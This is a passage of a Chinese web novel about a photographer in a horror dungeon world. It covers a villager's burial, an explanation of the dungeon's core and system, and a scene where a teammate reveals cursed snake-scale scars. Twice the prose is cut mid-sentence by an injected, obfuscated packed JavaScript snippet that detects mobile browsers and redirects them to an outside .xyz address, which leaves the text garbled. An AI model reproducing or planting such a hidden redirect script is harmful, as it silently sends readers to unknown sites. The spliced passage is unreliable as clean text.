可小老头依然带着笑容,坚定地往村庄而去,走进了这片曾经在他年幼时,带给他温暖与安宁的故土。哪怕他的村庄面目全非,不再安宁祥和,哪怕这里只剩下一片废墟。 齐檎丹无声地叹了口气。 不知是悲是喜。 随后,她在照片上,发现了几个不寻常细节。 齐檎丹明明记得,她对焦时,取景器里只有小老头远离的背影。然而,按下快门的那一刻,小老头却突然回眸,朝镜头的方向,遥遥递出了一只手,像是要将某个物品隔空送来。 齐檎丹凝神一看。 只见,小老头手掌中拿着的,赫然是一颗溢彩流光的宝珠。 宝珠?怎么会是宝珠?齐檎丹大惑不解。山崖上那颗宝珠,难道不是已经被黄毛夺走了吗? 这照片里,怎么会凭空多出来一颗? 43. 峭壁悬棺21 难道这个照鬼相机,还能自动帮忙P图做特效不成?齐檎丹想不通,也无法解释宝珠的出现。 正当齐檎丹为此深感困惑的时候,她身后忽然传来苏意虹兴奋的叫喊。 “齐檎丹,你快看!快抬头!” 齐檎丹应声抬头。 然后—— 她被一颗迎面飞来的珠子,砸了个正着。 这颗珠子并不大,珠光却格外耀目晃眼。齐檎丹被砸到了也不算很痛,只是眼睛要睁开时,她多花了点时间才适应光线。 那珠子大概是被抛来的,一砸到她脸上,就遵循地心引力往下掉,多亏了齐檎丹眼疾手快,才能及时将其接进手里。 这颗珠子,显然是照片上的宝珠。 原来快门定格的那一刻,小老头之所以作出那个动作,是为了把宝珠递给她。 然而,齐檎丹当时正忙于拍照,没能及时注意到小老头的举动,于是小老头无奈之下改递为抛,把宝珠以扔来的形式,送给了她。 顾斩风的话,解释了宝珠在此地出现的原因:“小老头是这个村里最后一个人,也是宝珠的最后一个使用者。这颗宝珠跟他有所感应,过来找他也算正常。收下吧。” 这颗宝珠,才是小老头真正的赠礼。 . 拿到宝珠后,齐檎丹没有离开。 不远处,离开副本的出口静静地悬浮在空中,仿佛一只等待着归人的眼。齐檎丹只要一抬头就能看到。 穿过这个出口,就能回到平安温馨的现实世界。现实世界里不会有鬼怪,不会有危险,有的是美食美景和热闹的人间烟火。 可齐檎丹却把头低下了。 她看向泥水里小老头的尸体,看向了小老头那双再也不会睁开的眼。 小老头生前的尸化和死后的尸斑重叠在一起,不分彼此。最爱惜的那缕山羊胡子,也早已经被鲜血和泥水染脏。 鲜血被风吹干了,结了块,把胡子粘黏成一绺一绺的,黏在下巴上、脖子上。 要多埋汰,有多埋汰。 齐檎丹拿纸巾沾了水,一点点给他擦干净了。又从废墟里刨出一个还没彻底被砸烂泡烂的棺材,把尸体给装上。 “齐檎丹,你何苦呢?这只是一个副本里的角色。”留下来帮齐檎丹把尸体搬运进棺材里后,苏意虹忍不住问,“他的死,只是副本设定,不是你的错。” 齐檎丹苦笑:“我只是忍不住想,我当初,要是能帮他挡下那根钢筋就好了。” 但齐檎丹做不到。 她只能尽自己所能,让小老头走得体面一点。 齐檎丹看向面前的大山。在空间崩塌时,这座小老头让他们登上的山,是这附近受影响最小的地方。 山上的悬棺还是那么密,那么多,可此时再看这些悬棺,却没有人像刚来时一样畏惧了。正是山上一个个密密麻麻的悬棺,为考察员们提供了关键的庇护。 这些悬棺里,葬着小老头的祖祖辈辈。 如果可以,齐檎丹也想按照棺材村悬棺葬的习俗,把小老头也葬在那里。 但她搬不上去。 棺材太重了。 这不是小老头为了帮他们敷衍任务,特意叫人搞来的最轻的空棺材。像这样的正常棺材,最起码得八个人一起抬。 系统商城的入口,已经随着副本的结束而被关闭。齐檎丹只能望洋兴叹。 齐檎丹正准备放弃,棺材却突然被抬起。 一阵风温柔地托举起小老头的棺材,轻飘飘地往上,将棺材稳稳当当地安放在了岩洞里。 齐檎丹一眼辨认出,那是顾斩风的风刃。只是没想到,当风刃收敛起锋芒时,竟是这样一副温和轻柔的模样。 “顾斩风,你没走?”齐檎丹讶异。 顾斩风摇摇头,平静地注视着她:“你还欠我一个交代。” 副本已经结束,考察员间直播自然被关闭了。 如今,不再需要使用直播屏蔽道具,齐檎丹之前仗着顾斩风没带够屏蔽道具,而靠胡诌躲过的问题,终归还是到了不得不回答的时候。 齐檎丹叹了口气。 该来的,总是要来。躲得过初一,躲不过十五。 “交代?什么交代?”苏意虹听得迷迷糊糊,刚想挡在齐檎丹身前,就被齐檎丹按住了。 “现在这个时间点回去,你买回来的美食应该还没凉透,还能吃。你先回去。我要是再过几小时还没回去,你再帮我报警。”齐檎丹意味明确地瞥顾斩风一眼,“报警时,直接报这个人的大名。” 她声音不大,刚好能让旁边的顾斩风听得清清楚楚。 顾斩风忍不住扬了下眉梢。 苏意虹则听得连连点头。尽管走的时候十分担忧,一步三回头,她非常听话地按照齐檎丹说的,从出口离开了副本。临走前,苏意虹还提防地看了顾斩风好几眼。 ——八成是想记住顾斩风的样子,报警时好跟警方描述。 顾大佬当顶级考察员当了这么久,感受多了崇敬和佩服,还是第一次被用这种看嫌疑人的眼神上下打量。 他内心的情绪顿时难以言喻。 当苏意虹的背影消失在出口里之后,顾斩风将目光转向齐檎丹:“她走了。我们一起出副本。” 这样他们会到现实世界里的同一个地方。 齐檎丹皱起眉:“为什么?在副本里说不可以?” 在副本里,最起码还有个考察员系统会阻止考察员之间的相杀,能保证她的生命安全。 顾斩风并未改变计划。 他没有透露这么做的原因,却猜到齐檎丹不愿跟他离开。 顾斩风走到出口跟前,背对着分毫未动的齐檎丹,说道:“你不想知道,我为什么会发那张假死讯吗?” 隐秘的伤疤被戳刺,齐檎丹微微皱眉。 即便不断告诉自己要放下旧事,那份假死讯,如同膈应着她的一根细针,每每让她想起,那些因为听闻死讯而悲伤难眠的夜晚。 但,齐檎丹的脚步没有动。 不过片刻后,她便舒展眉头,平静地对顾斩风微笑:“当我知道你还活着的时候,原因就已经不重要了。” 既然结局已经写好,她又何必困死在原因里,苦苦追究前尘? 这个理由说不动她。 顾斩风终于缓缓回过头,朝齐檎丹立足的地方望来。 顾斩风注视着她。那双瞳孔如同海底的深渊,深邃而沉静,却仿佛能穿透人心:“小老头的死,是你第一次真正直面死亡吧?” 齐檎丹眸光微沉。当初在她通关的第一个副本“古厝诡婚”里时,陈家村族长的死虽然是她一手促成,但这个族长毕竟残害了众多女性,罪恶罄竹难书。只有他死了才能通关副本,他的死亡大快人心。 可小老头不同。这个多次帮助他们的小老头,是齐檎丹第一个真心想要从死亡边缘救下的人。 但她没做到。 即便她已经尽了全力。 当她努力想替小老头堵住伤口,却被温热的血液淌满双手时,齐檎丹看着不断从指缝间溢出的鲜血,终于第一次对副本的冷酷有了实感。 这种在死亡面前无能为力的痛苦,足以将一个人的意志力侵吞。 这是来自死亡的威慑力。 “副本世界里,死亡是最常见的。”顾斩风说。 尽管,齐檎丹一直将副本当作摄影棚使用,但小老头的身死让她意识到,副本本身是怎样一个残酷的斗兽场。胜者死里逃生,输家丢掉性命。人类的生命在副本世界里,脆弱得好比苇草,死亡的阴影随时可能降临。 每个考察员需要面对的死亡次数,都太多太多太多。 陌生人、至亲、朋友…… 她身边的任何一个人,都可能丧命。 即便这次死亡的,仅仅是副本里的一个角色,但下次呢?齐檎丹能够保证,倒下的不会是她的朋友吗?那时候,她又该如何处之? 齐檎丹垂在身侧的手骤然攥起,眼底的光影越来越沉。 死亡一旦到来,无法阻止。只有变得足够强大,她才能赶在死神来临之前,护住想保护的人。 然而,副本对所携带积分的限制,堵死了攒积分这条路。短期内,个人体质无法增强太多,战斗能力更不可能达到飞跃式的提升。齐檎丹左思右想,只有对副本世界的了解和通关经验,可以速成。 通常情况下,此类信息与经验的获取,对新人并不容易。 但现在…… 齐檎丹眼里添了笑意。她笑吟吟地看向顾斩风,像是逮着一个上赶着将资源送上门来的冤大头:“你们能给我什么?” 顾斩风:“只有副本世界的基础介绍,和假死讯的解释。来不来?” 这正合齐檎丹心意。 “来!”齐檎丹突然加快脚步,走到顾斩风身边,跟顾斩风一起踏进了出口当中。 . 上次一样,等所有考察员离开之后,剧情解锁度达到100%的“峭壁悬棺”副本,便也进入了永久关闭状态。 一出副本,成功通关副本结算的通知,照例开始疯狂弹出。通关基础奖励、观众打赏积分,榜单排名提升……种种收获,不一而足。 但其中,让齐檎丹在意的只有一条。 【剧情解锁度100%奖励——道具:创世宝珠(稀有级)】 【创世宝珠:该道具可多次使用。使用时,将指定对象拉入你所创造空间领域当中,时长限制半小时。如果你能力足够强,你甚至能创造出一个自己的世界。】 虽然齐檎丹承认,宝珠的能力确实很强,但介绍里关于创造世界的这一句话,齐檎丹依旧把它归进了画大饼用语。 相信能拿宝珠创造世界,纯属想得太美。 副本世界里,才不会允许这么bug的道具存在。 闯副本这件事情,说白了是考察员和鬼怪两方的对决。要是因为这个道具,双方实力的天平向考察员这边严重倾斜,副本里面藏的那些妖魔鬼怪,哪儿还有什么发挥余地呢? 齐檎丹对此付之一笑。 查看完提示之后,齐檎丹抬头环顾四周。 此时的她,已身在顾斩风的研究室中。在这里,她见到了顾斩风那支小队里的其他队友。 上一个副本里和她结盟的梁安颜大小姐,对齐檎丹的到来深感惊喜。她直接拉着齐檎丹在屋里转了一圈。 在梁安颜的介绍下,齐檎丹关于综艺的记忆被唤醒。 她认出了另外两人—— 梁安颜旁边那个红黑街头风穿搭,看上去很酷拽的,是龙骁。而捧着手提电脑,戴着黑底绿条纹口罩,缩在阴暗角落里,安静地垂着头打瞌睡的,是小队里负责情报搜集的叶原,精通计算机。 这一圈转悠下来,齐檎丹大概把人全部认清楚了。 这几个人,她都不算陌生。 当初看求生综艺《无限考察》时,齐檎丹全都看到过。 如果当年的求生综艺不是剧本,这些人的性格又没有在五年里发生天翻地覆的改变,无论以他们中的哪一个的道德素质,都不可能做出伤害她的事情。 齐檎丹的戒备心暂且放了下来。 与此同时,顾斩风打开了电脑,将归纳总结出的副本世界资料投影在大屏幕上。 这份资料他不知道什么时候就已经备好,每个部分都列明了相关的数据与证据作为支撑,给人以十分可靠的信服力。 “长话短说。当前我们所处的副本世界,是由两股力量塑造的。我的仪器从副本世界里,检测出了两种截然不同的构成能量,且两股力量长期处在对抗状态。一股出现早,一股出现晚,一股在暗,一股在明。”顾斩风说着,向后方的屏幕做了个拉取的动作。 瞬间,一个三维立体的副本世界缩略图,以非常高科技的形式,出现在齐檎丹的视野当中。 无数副本小世界,碎片般散播在有限的空间中,正随着中心的漩涡慢慢旋转。 而顾斩风的指尖,点在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995579|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漩涡中心。 那里,一点猩红忽明忽灭。 搏动宛如心脏。 然而,红光每搏动一次,便会有更多幽暗的黑雾蔓延出来,缠绕上附近的副本。这股黑雾,会将副本强硬地拖近核心,使之围绕着核心旋转,宛如风暴中的星系。 “这个红点,就是副本世界的核心。由它蔓延出的能量,构成了副本世界的主体。”顾斩风道,“从外向内,离核心越近的副本,难度等级就越高。F级副本无限接近这个核心,因此,也是地狱级难度。” 就像控制考察系统的巨眼一样,副本核心也有一个自己的意识体。 虽然从未在人前展露过面目,但顾斩风曾经从鬼怪口中,听过它们对这个意识体的称呼——主神。 主神踪迹难觅,顾斩风对此知之甚少,但有一点颇为重要:“我研究了构成这个核心的主要能量,在其中,发现了大量的负面情绪。而绝望,是这些负面情绪中,最主要的成分——居住在核心内部的主神,以人类的绝望为食。” 获取的绝望越多,主神的力量就越强大。 这也就是为什么,主神要建造起这个副本世界,并将人拖进副本折磨、杀死。 因为祂要获取绝望。 “第二股力量我们都认识,就是考察系统。”顾斩风将缩略图扩大,再扩大,齐檎丹才看到那环绕在核心周边的一只蓝色眼睛。 让考察员签订系统协议的那只巨眼,虽然是血色的,但为了方便区分,顾斩风用蓝色加以区别。 那蓝色丝丝缕缕,伴随每个考察员的行动,分散在各个副本当中,犹如血河里混入的清泉。甘冽,却罕见。 显然,考察系统摆在明面上的,为考察员提供保护的那股力量。 “但它是晚出现的那个。” 考察系统出现之前,副本世界由那股对人类极具恶意的力量支配。 那个被称为“前系统时期”的黑暗,齐檎丹曾经借着求生综艺有过一瞥。那股暴戾的力量创造出了副本世界,将手无寸铁的人类强行拉拽进副本当中,送予鬼怪肆意折磨。 即便只看综艺,也能感受到副本里那股弥漫的绝望。 “考察系统正式出现在副本世界前,两股力量可能有过一次交锋。”那一时期,顾斩风检测到的磁场,混乱得令人难以置信。 两股力量相互撕咬、抵死厮杀,掀起的震动惊天彻地,大得将所有考察员在一瞬间踢出了副本。在接下来的很长一段时间里,他们不用担心被拽进副本当中搏命,直到执念再次达到一定的高浓度的时候,才会再次进副本当中。 这段混乱期过后,才是现如今为人所熟知的,有系统的阶段。 尽管考察系统存在的情况下,还是有许多人被拉进了副本,但齐檎丹隐隐有种直觉。如果考察员系统在两股力量的争斗中取胜,它的真正目的,应该是将副本世界彻底摧毁,让人们免受鬼怪肆虐之苦。 但可以想见,考察系统最终落败了。 此战过后,它的实力被大大削弱,不仅受到副本世界的核心力量所限制,有时候,甚至不得不为之让路。 因此,系统只能暗中帮助考察员。 只要发生在副本世界当中的事情,都会被那股力量所监视。所以,与副本有关的事情,必须出来说。 顾斩风不知点击了哪个键,整个副本世界的缩略图,顷刻间化为乌有:“要想彻底摆脱副本,必须协助考察系统。这些年来,我一直试图联系上考察系统,但从未成功。”他推算出,与系统构建更深层次的联系,需要达到一定条件。 代表考察系统的那只血红巨眼,除了在签订系统合同时出面过一次,就再未出现,只留给考察员们一个无法具体沟通的系统面板。 系统被限制得太严重了。 但凡这个限制能减轻一点,被释放出来的系统力量,便能极大地提升考察员的能力。 “关于副本世界的信息大概就是这样。还有什么要问的吗?没有的话,就到此结束了。”顾斩风边说,边开始关闭电脑,大有一走了之的趋势。 齐檎丹却笑着止住了他的动作:“诶,这就结束了?顾大佬难不成想赖账?” 假死讯的事还没说呢。 顾斩风:“你不是不感兴趣吗?” 齐檎丹义正言辞,拒绝赖账:“我不感兴趣是一回事,你承诺过的又是一回事。就算不感兴趣,也不妨碍我听听吧?” 顾斩风收东西的动作一僵。他似乎做了一番激烈的心理斗争,最后才默不作声地叹了口气:“跟我来。” 说完后,他带着齐檎丹,走到旁边一个闲置的空房间中。 房间里拉着窗帘,光线昏暗。等到房门被顾斩风关上,落锁的“咔哒”声在房间里荡开时,齐檎丹才后知后觉地产生了一丝危机感。 虽然这个锁是在里面的,只要轻轻一拧就开了,齐檎丹想什么时候逃掉,就能在什么时候逃掉。但…… 孤男寡女共处一室,这不太好吧? 是不是有点太暧昧了? 连私房写真类型的约拍都从来不接的齐檎丹,心里忍不住打鼓。但紧接着,更令齐檎丹内心警铃狂响的一幕,在齐檎丹眼前震撼上演。 顾斩风进了房间之后,居然背对着她,开始—— 脱!衣!服! 老天奶啊,这是她不付费就能看的吗? 齐檎丹伸手捂在眼前,手指却很不安分地张开,好让眼睛从手指缝里偷偷往外瞧。 视线被夹在狭窄的指缝间,齐檎丹看见,顾斩风身上那件科研人员的白大褂被脱下,挂起在一旁的钩子上,露出内里打底的黑衬衫。然而,想象中香艳的场景并没有出现,顾斩风只解开了衬衫最顶端的两颗扣子。 以顾斩风的性格,把衣服解到这个程度,已经是他心理所能接受的极限。 薄唇抿成一线,他拉住黑衬衫的衣领,将其往后一扯。 顿时,齐檎丹心脏骤地被攥紧。 她震惊地看向眼前。 44. 现实世界1 齐檎丹从未见过这样骇人的伤疤。 哪怕顾斩风露出的,仅仅是后颈到背部的一小片肌肤,展露在齐檎丹眼前的伤势,却足以令人悚目惊心。 那些伤口极深,且位置极其危险。 利器造成的伤痕一道冲着后心,另外几道毫不留情地破开皮肉,直抵脊椎骨。正常情况下,受到这样的伤害,就算不死也会瘫痪。 放出的死讯虽是假的,顾斩风当时濒临死亡,却是真的。 他那时候,是真的以为自己会死。 “这不是普通的伤口。” 顾斩风开口:“伤口上,附着蛇妖的诅咒。” 顾斩风被蛇妖偷袭受伤时,副本世界还没有出现系统,而这伤势用现实世界里的医疗手段,只能勉强维系生命。他是在系统出现后,再次激发执念进入副本世界,才在出副本时,被系统治愈的。 在伤重将死的情况下解谜通关,不用想也知道有多艰难。但顾斩风未能得偿所愿。 因为系统提供的这场治愈,并不彻底。 伤势被治愈之后,在那伤疤之上重新生长出的,不是新生的人类皮肤,而是……蛇一样泛着金属冷光的光滑鳞片。蛇鳞上,笼罩着阴森的黑气,坚硬怪异。 即便在如此昏暗的房间里,齐檎丹也能看清鳞片所反射的冷光。 冰冷,怪异。 覆盖着蛇鳞的伤痕隐隐相连,在脊椎骨旁,连成细长蛇身。 蛇身最顶端处,三角形的漆黑蛇首纹路,已逐渐从皮肤下浮现而出。蛇首张开的口中长满毒牙,毒牙的方向,正对准顾斩风的脖颈动脉,似乎下一秒就会一口咬下,夺取性命。 自从展露伤口之后,身后便许久没了动静。房间里弥漫的幽暗拖拽着心脏,一点点往深水里沉。 每一次。每次都是这样。 顾斩风缓缓垂下眼睑。他早已预料到这样的结果。 这些疤痕,毕竟是鬼怪留下的怨毒诅咒,带着缠绕不去的恐怖气息。顾斩风曾经无数次尝试想要将其去除,然而无论用刀割,还是用火烧,这些蛇鳞都依然顽固地覆盖在他血肉之上,无济于事。 即便所有人众口一词地说着同情,心里依旧对这些非人的伤疤心存畏惧,避之不及。 齐檎丹大抵也不例外。 在他人面前展示这些伤疤,无异于自取其辱。 “很丑陋吧?就像副本里那些怪物一样。”顾斩风冷声自嘲,抬手准备将衣领拉上。 怎料,齐檎丹轻轻扯住了他的领口: “不,很美。真的很美。” 齐檎丹说的,不是哄人的假话。 这赞叹发自内心。 她能感受到,这青绿色蛇鳞底下,压抑着多么冷酷恐怖的力量。 这力量极度危险,有如高悬于头顶的利刃,令齐檎丹本能地感到头皮发麻。然而,顾斩风作为人类的理智始终占据高峰,将这分危险死死控制着,逼退到意识的边缘。 这种兼具冷血动物的特征的人类外形,以及介于鬼怪与人类间的矛盾、失控与自控间的拉扯,让齐檎丹忍不住着迷。 好好看,好喜欢…… 好想拍照。 齐檎丹被眼前的景象,勾得心痒难耐。 她一贯不是爱藏着掖着的性格。于是,这个念头刚一产生,齐檎丹便脱口而出:“我可以拍吗?” 这一记直球鲁莽而真诚,打得顾斩风措手不及。这样丑陋怪异的疤痕,居然会被人接受,甚至喜欢? 顾斩风动作一滞。拉拽领口的手指,猝然停顿在空中。 良久,他才缓声道:“……不可以。” 齐檎丹还想坚持:“只拍一张,真的就一张而已。” 然后,她就碰了壁。 顾斩风的手重新搭上衬衫,把衣服一下子拉了回去,一丝不苟地系起扣子,重新把自己包裹得严严实实:“一张也不行。” 眼看着那格外吸引视线的蛇鳞,消失在衬衫的布料之后,齐檎丹泄了气。 能让齐檎丹愿意拿出相机拍照的,绝对是真心喜欢的。这种自带矛盾感的视觉冲击,比起副本世界里的纯鬼怪更加吸引她,如果拍成照片,一定非常抓人眼球。 但蛇鳞毕竟长在别人身上。 再怎么说,她都需要尊重被拍摄者的意愿。 齐檎丹遗憾地叹了口气,十分勉为其难地,压下了蠢蠢欲动的拍照心思。不过,齐檎丹并没有完全死了这条心,反正未来日子还长着,正所谓“烈女怕缠郎”,齐檎丹以后软磨硬泡着,说不定能把这根硬骨头啃下来。 然而现在,这根骨头她是不太好啃了。齐檎丹偷偷瞟了一眼,顾斩风那张面无表情的冰块脸,心道不愧是顾斩风,拒绝人起来总是那么不容商量。估计今后要他松口也难,只能试试看。 不过,有挑战性的东西,往往比能轻易得到手的,更有意思。不是吗? 事实上,但凡这房间里的光线稍微亮上一点,齐檎丹或许就不至于这么认为—— 顾斩风虽然说着拒绝的冷淡话,耳尖却被可疑的薄红占领。 那一抹红,极其浅淡。 好似冰川顶上,掠过的一缕霞光。 即便消散的速度极快,只来得及匆匆一瞥,也显得分外稀罕。 “这些蛇鳞可不是什么好东西。”顾斩风若无其事地说道,“这是人类受到极强烈的诅咒后,被鬼怪异化,并逐渐向鬼怪转变的象征。” “古厝诡婚”里的陈家村人的鱼眼睛,也是如此。一旦异化完成,作为人类的最后一线理智,也将被诅咒蚕食鲸吞。最终,被异化的人会彻底迷失自我,沦为副本中的鬼怪之一。 顾斩风说:“我离那个阶段,已经不远了。” 他的尾音,飘落在房间地面上。 像极了一声叹息。 近来,顾斩风时常会做一些关于副本的预言梦。这些梦大多是碎片化的,只一个片段,没头没尾地搁在那里,却会在未来的某一天成真。 此前在“古厝诡婚”副本中,梁安颜之所以能够提前得知,她们进入的可能是与婚俗题材相关的副本,并向齐檎丹约拍鬼新娘写真以提前适应氛围,正是因为顾斩风的预言梦。 “在梦里,我梦到了你。”顾斩风低声道。 梦里,齐檎丹腰间挂着相机。莓果红的挂耳染发丝,在阴风呼啸中肆意扬起的瞬间,好似一簇刺破黑暗的焰火。 铮然且昂扬。 即便烫手,也使人忍不住靠近。 出于对梦里这个新人物的不信任,当初顾斩风在告知预言时,故意没有向梁安颜透露这一点。然而,齐檎丹依然以摄影师的身份被梁安颜找到,两人进入了同一个副本。 预言里的事情随之成真,齐檎丹拿下新人榜第一的位置,轰轰烈烈地闯进他们的视线。 如同一个命中注定的定数。 齐檎丹默然片刻:“但这些预言梦的出现,对你来说,不是一件好事,对吗?” 从第一个副本里出来后,齐檎丹便恶补过考察员专属技能的相关信息。她知道,预知能力是辅助型技能里最吃香的那个,因为好的预言,有利于在进副本前事先做好准备的机会,帮自己和他人有效规避风险。 但顾斩风的预知能力,并非专属技能的馈赠。 而是诅咒使然。 这样人人渴求的预知梦,做得越频繁,就意味着顾斩风离完全异化成鬼怪,融入副本越来越近了。 “是,我终究会变成人人憎恶畏惧的……鬼怪的样子。我离完全异化,仅仅是时间问题。”昏黑狭小的房间里,顾斩风转过身,目光沉沉地看向齐檎丹。 他眼底幽暗深邃,仿佛暴雨前压抑到了极点的海面。 无风无浪。 却偏生,令人更为心悸。 “我不知道这个时间是多久,可能是一年,一个月,一天……”顾斩风说着,缓缓向齐檎丹靠近。仅有的几缕微光从窗户漏进,却被他的身影所遮挡,只能在阴翳里疯狂逃窜。 一步,两步,三步。 照到齐檎丹身上的阳光,越发稀薄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004809|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 终于,顾斩风走到了齐檎丹面前,微微俯身,投下的阴影犹如一张大网,密不透风地将齐檎丹笼罩在内:“……甚至是,下一秒。” 顾斩风压低过的嗓音带着体温,危险地碾过齐檎丹的耳廓,钻进耳内。 热意熏陶。 熏得人昏昏沉沉,头晕目眩。 齐檎丹前面被顾斩风的身躯阻挡,身后又有冰冷的门板截断后路,心理上的压迫感油然而生,她忍不住向旁边的门把手探去。 指腹触碰到门把手金属材质的表面,被冷不丁冰了一下。 这一刹那,理智瞬间回笼。齐檎丹突然福至心灵地意识到,当下的这个场景,像极了之前在洞穴里时,她对顾斩风的故意调戏。 哦豁,莫非顾斩风是在报复她,想报被调戏的一箭之仇? 既然是报复,齐檎丹怎么能容他得逞。 这时候夺门而逃,就输了。 她才不要。 齐檎丹改变了想法。 眉梢轻轻一挑,她刚刚握住门把手的手指忽地松开,手腕方向一转,便搭上了顾斩风的胸膛:“那对我来说,岂不更好?变成鬼怪,你就只能困在副本里,乖乖被我拍照了。” 薄薄的衬衫布料,几乎构不成阻碍。指尖触及顾斩风胸膛的那一霎,微凉的温度迅速透过衣料,往下传递。 顾斩风的皮肉骤地缩紧。 他俯身压低姿态,唇角的线条不悦地绷起。 齐檎丹能感觉得到,顾斩风在那个当口,其实是想要后退,避开齐檎丹的手指的。只是,出于和齐檎丹相同的原因,顾斩风没有这么做。 他们两人不约而同地,把这当成了一场较量。 谁都不愿意露怯。 齐檎丹双颊的笑意愈发明显。她抬起眼眸,一任视线与顾斩风的交错。眼神的碰撞分明无形,她却隐隐感受到了空气中迸溅的火花。 “顾大佬说了这么多,难道就只是想要恐吓我吗?” 齐檎丹点在顾斩风胸前的指尖,微微加大了力度,感受到指腹下,异于常人皮肤的硬度:“发假死讯的重点,还没说到呢。你为什么会认为,是有人要害你们?明明伤害你的是鬼怪,不是吗?” 顾斩风后背有蛇鳞,胸前应该也有。 要不是看在顾斩风只是被碰了一下,便已经有点排斥,齐檎丹其实很想肆无忌惮地将手指顺势下滑,好隔着衬衫,感受一下蛇鳞的轮廓。 忍住,忍住。不能玩得太过火。 要徐徐图之。 齐檎丹大发慈悲地缩回手指,没有将这个想法付诸实现。 顾斩风也在她手指离开的同一时刻,松了口气:“因为按照我们事先摸清的规律,那个地方绝对安全,有镇压妖物的符咒在,蛇妖不可能出没。但我们遭遇埋伏时,那张符咒却已经被人揭掉了。” 埋伏的虽是蛇妖。 真正想杀他们的,却是人。 而且是那次和他们一同进副本的,其中一个考察员。 “大概明白了。你们意识到被人坑了,情急之下,却没能揪出那个人的具体身份和背后指使他的势力。”齐檎丹毫不避讳地往他伤口上戳,“所以,就只能借着此人不知道你生死状况这个信息差,广泛散播假死讯,让他们以为得逞,从而露出马脚?” 顾斩风颔首,显然不愿过多回顾。 齐檎丹却乐得追问。 “最后怎么样了?你们抓到那个人了吗?”齐檎丹的问题一个接着一个: “既然系统出现后,一切重新洗牌,所有考察员都需要像第一次进副本世界一样,在执念高到一定程度时,才能再次以考察员的身份进入副本世界。你伤重时之所以能进副本,是真的碰巧在那个时间执念飙升,还是在知道系统能疗伤后,用了办法进去?” “这些是另外的问题了。”顾斩风停止作答,“我答应的已经说完了。现在,也该让我们看看你的诚意了。” 他注视着齐檎丹,意思不言自明—— 齐檎丹的承诺,该兑现了。 45. 现实世界2 顾斩风伸手越过齐檎丹,一把往里拉开了房间门。 顿时,三张脸齐刷刷地亮相在齐檎丹眼前。 梁安颜,叶原,龙骁。 一个不少。 也不知道他们躲在门外,已经听了多久墙角了。 这三个人里,梁安颜多少需要顾及一点大小姐的形象,叶原又内向社恐,就数龙骁偷听得最为起劲,整只耳朵都贴在门板上了。 因此,当顾斩风把门板一拉开,偷听的龙骁立刻遭了秧。失去支撑身体的门板,他脚底一崴,只来得及“嗷”上一嗓子,就踉跄着摔进了房间里,在齐檎丹的目光下暴露得彻彻底底。 空气尴尬得几乎凝固。 “嗨,呃……你们聊得怎么样了?”龙骁表情僵硬地抬起手招了招,没话找话。 然后,成功地使气氛变得更加一言难尽。 不过从这些人的举动当中,齐檎丹显然可以看出,不仅顾斩风关心她是怎么知道那些事情的,他队里的其他人同样也很好奇。 看来,她今天要是不先回答上这个问题,是很难从顾斩风嘴里,套出假死讯的后续了。 但说归说,齐檎丹并不相信自己的说法真的会得到信任。 她破罐子破摔地耸了下肩,把预防针打在前头:“事先说好,我接下来说的可能会有些匪夷所思。你们可以向我提问题,有不相信的,也可以给我用测谎的工具或者道具。总之,我只负责说,信不信由你们。” 话音落下不到半分钟,齐檎丹就被众星拱月似的团团围住。 “那档求生综艺是怎么回事?” “综艺里拍到了多少?” “我们通关的全过程,都有被拍进去吗?” 梁安颜自己问完问题后,还没忘了问龙骁一句:“龙骁,你怎么没提问?你不是一直跟我说,有问题想要问齐檎丹吗?” “嘿嘿,我只有一个问题。”龙骁自恋地撩了下刘海,“我只想问,那个综艺把我拍得帅不帅?” 对此,齐檎丹只有六个点想说:“……” 齐檎丹突然有点担心自己的人身安全。她要是实话告诉龙骁,她在综艺里,目睹了龙骁被树枝绊倒6次、被石头硌到3次、撞到头1次的光荣经历,她会不会惨遭灭口? 梁大小姐早已对龙骁的插科打诨习以为常。见状,她熟稔地剜了龙骁一眼刀子,过来给齐檎丹解围:“你别管他,他从小到大都是这个样子,非常自恋。” 说罢,梁安颜的眼神依旧看回到齐檎丹身上,眸中隐隐有所期待。 “你们问的问题,我一个一个回答。” 齐檎丹叹了口气,缓缓开口。 一瞬间,她成为了在场所有目光的聚焦点。 “首先,那档《无限考察》综艺,我也不知道为什么会出现。我只知道,五年前的一天,当我像平时一样打开电脑的时候,那档综艺的入口,就已经在我电脑桌面上了,完全删不掉。”齐檎丹说道: “综艺里,确实是所有考察员从进副本到通关的全过程,其中包括你们。综艺的内容和现在的直播内容差不多,剪辑的痕迹很粗糙,不像老手。但要说综艺和直播最大的差别,还真有一点。” 梁安颜忙问:“哪里不同?” 齐檎丹:“视角不同。直播是跟随考察员的个人视角,而综艺更像是上帝视角。” 副本里,仿佛有个无处不在的摄影机,拍摄记录下了一切。而且,拍摄的偏好特别明显,镜头特别爱怼着凶残血腥的内容拍,恐怖程度比起很多三级片有过之而无不及。 这些毫无美感可言,只有简单粗暴的感官恐吓。目的,似乎是想要引发群众恐慌。 副本核心的食欲在扩大。 它不满足于只吸收副本内考察员的绝望,制造出求生综艺,将触须探到了副本外的观众身上。 齐檎丹说完了她所知道的一切。 但,正如齐檎丹事先所预计的那样,审视的目光没有消失。眼前的这些人,果然问出了那个,齐檎丹根本不知道该如何回答的问题。 